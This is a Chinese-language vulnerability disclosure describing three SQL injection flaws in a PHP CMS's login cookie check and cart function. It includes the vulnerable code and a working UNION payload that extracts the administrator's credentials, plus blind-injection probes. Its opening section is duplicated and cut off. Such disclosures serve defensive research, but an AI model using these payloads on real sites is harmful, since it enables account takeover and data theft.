### 简要描述: rt。 ### 详细说明: #1 看到这个漏洞http://wooyun.org/bugs/wooyun-2010-090196 看看官方怎么修补的 /Application/User/Controller/RegisterController.class.php ``` $user_name = mc_magic_in(mc_remove_html($_POST['user_name'],'all')); ``` 有了过滤。看到 mc_user_id() ``` function mc_user_id() { $user_name = cookie('user_name'); $page_id = M('meta')->where("meta_key='user_name' AND meta_value='".$user_name."' AND type='user'")->getField('page_id'); $user_pass_true = mc_get_meta($page_id,'user_pass',true,'user'); if(cookie('user_name') && cookie('user_pass') && cookie('user_pass') == $user_pass_true) { return $page_id; } } ``` 由 session变成了cookie 而且没有过滤 那么我们就可以直接赋值进行注入了 exp: ``` user_name=' or meta_value='admin') and 1=2 union select concat((select concat((SELECT meta_value from mc_meta where meta_key='user_name' and page_id=1),0x5c,(SELECT meta_value from mc_meta where meta_key='user_pass' and page_id=1))),'\') union select 1',0x23)# user_pass=1 ``` 火狐修改cookie [<img...
### 简要描述: rt。 ### 详细说明: #1 看到这个漏洞http://wooyun.org/bugs/wooyun-2010-090196 看看官方怎么修补的 /Application/User/Controller/RegisterController.class.php ``` $user_name = mc_magic_in(mc_remove_html($_POST['user_name'],'all')); ``` 有了过滤。看到 mc_user_id() ``` function mc_user_id() { $user_name = cookie('user_name'); $page_id = M('meta')->where("meta_key='user_name' AND meta_value='".$user_name."' AND type='user'")->getField('page_id'); $user_pass_true = mc_get_meta($page_id,'user_pass',true,'user'); if(cookie('user_name') && cookie('user_pass') && cookie('user_pass') == $user_pass_true) { return $page_id; } } ``` 由 session变成了cookie 而且没有过滤 那么我们就可以直接赋值进行注入了 exp: ``` user_name=' or meta_value='admin') and 1=2 union select concat((select concat((SELECT meta_value from mc_meta where meta_key='user_name' and page_id=1),0x5c,(SELECT meta_value from mc_meta where meta_key='user_pass' and page_id=1))),'\') union select 1',0x23)# user_pass=1 ``` 火狐修改cookie [<img src="https://images.seebug.org/upload/201504/092327304b0f24fde645e472378ba34af1042de7.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/092327304b0f24fde645e472378ba34af1042de7.png) 在源码中返回了 管理员账户密码。 #2 /Application/Home/Controller/PerformController.class.php ``` public function add_cart($id,$number){ if(is_numeric($id) && is_numeric($number) && $number > 0) { if(mc_user_id()) { if($_POST['parameter']) { $parameter = $_POST['parameter']; $kucun_now = array(); foreach($parameter as $key=>$val) { $kucun = M('meta')->where("page_id='$id' AND meta_key='$val' AND type ='kucun'")->getField('meta_value'); ``` 可以看到 parameter 数组的 val木有过滤, /index.php?m=home&c=perform&a=add_cart&id=25&number=1 post: parameter[]=xxx' [<img src="https://images.seebug.org/upload/201504/09233913b479abd122bcde498cf1ee5e175ac11a.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/09233913b479abd122bcde498cf1ee5e175ac11a.png) 单引号带入成功,由于默认没有错误提示,所以只能盲注。 #3 /Application/Home/Controller/PerformController.class.php ``` if($_POST['parameter']) { $parameter = $_POST['parameter']; $cart = M('action')->where("page_id='$id' AND user_id='".mc_user_id()."' AND action_key='cart'")->getField('id',true); if($cart) { $par_false = 0; foreach($cart as $cart_id) { $par_old = M('action')->where("page_id='$cart_id' AND user_id='".mc_user_id()."'")->getField('id',true); if($par_old) { $par_count = 0; foreach($parameter as $key=>$val) { $par_name = M('option')->where("id='$key'")->getField('meta_value'); ..... ``` foreach($parameter as $key=>$val)后 where("id='$key'") 对于 数组的键名却没有过滤,注入产生 /index.php?m=home&c=perform&a=add_cart&id=25&number=1 post: parameter[test']=kucun [<img src="https://images.seebug.org/upload/201504/0923423860e1d7f48e256d939d50a26443fb7d5f.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/0923423860e1d7f48e256d939d50a26443fb7d5f.png) 单引号进来了。 同2,盲注。 ### 漏洞证明: [<img src="https://images.seebug.org/upload/201504/092327304b0f24fde645e472378ba34af1042de7.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/092327304b0f24fde645e472378ba34af1042de7.png)